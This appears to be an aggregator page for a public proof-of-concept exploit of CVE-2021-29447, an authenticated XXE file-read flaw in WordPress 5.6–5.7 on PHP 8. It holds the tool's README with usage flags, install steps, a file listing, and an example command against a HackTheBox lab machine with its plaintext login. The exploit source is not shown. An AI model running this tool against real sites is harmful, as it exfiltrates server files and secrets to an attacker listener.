CVE-2021-29447 PoC — WordPress 代码问题漏洞

Source

https://github.com/viardant/CVE-2021-29447

Associated Vulnerability

Title:WordPress 代码问题漏洞 (CVE-2021-29447)
Description:WordPress是WordPress（Wordpress）基金会的一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。 WordPress 存在代码问题漏洞，攻击者可利用该漏洞在成功的XXE攻击中可以访问内部文件。

Description

CVE-2021-29447 - Authenticated XXE Injection - WordPress < 5.7.1 & PHP > 8

Readme

# CVE-2021-29447

POC to exploit WordPress 5.6-5.7 (PHP 8+) Authenticated XXE Injection. More about this CVE [here](https://www.sonarsource.com/blog/wordpress-xxe-security-vulnerability/)

## Example

Example usage against HackTheBox's MetaTwo machine, which hosts a WordPress website with Media Library vulnerable to XXE Injection.

```bash
python lfi.py -u manager -p partylikearockstar -t metapress.htb -lh 10.10.XX.XX -lp 8081 -w file_wordlist
```

[![asciicast](https://asciinema.org/a/wqBueScWdUnuG4HzHbYPuOThI.svg)](https://asciinema.org/a/wqBueScWdUnuG4HzHbYPuOThI)

## Usage

```bash
usage: lfi.py [-h] -u USERNAME -p PASSWORD -t TARGET -lh LHOST [-lp LPORT] [-w WORDLIST] [-i] [-v] [-s]
              [filenames ...]

positional arguments:
  filenames             Filenames to fetch

options:
  -h, --help            show this help message and exit
  -u USERNAME, --username USERNAME
                        Username to user in authenticated upload
  -p PASSWORD, --password PASSWORD
                        Password to user in authenticated upload
  -t TARGET, --target TARGET
                        Remote host to target, e.g. "metapress.htb"
  -lh LHOST, --host LHOST
                        Hostname on which server is bound (default "")
  -lp LPORT, --port LPORT
                        Listening port (default "8080")
  -w WORDLIST, --wordlist WORDLIST
                        Wordlist of filenames to be fetched
  -i, --interactive     Runs in interactive mode
  -v, --verbose         Enables verbose mode
  -s, --skip            Skip php server spin-up (MAKE SURE IT IS ALREADY RUNNING!)
```

## Installation

**Make sure you have php installed.**

```bash
git clone https://github.com/viardant/CVE-2021-29447
cd CVE-2021-29447
pip install -r requirements.txt
```

File Snapshot


 [4.0K]  /data/pocs/dbf0f754cbfd94c3ef9b1854d249a5b7ae3f5231
├── [ 434]  grab.php
├── [ 11K]  lfi.py
├── [ 34K]  LICENSE
├── [1.7K]  README.md
└── [  18]  requirements.txt

0 directories, 5 files

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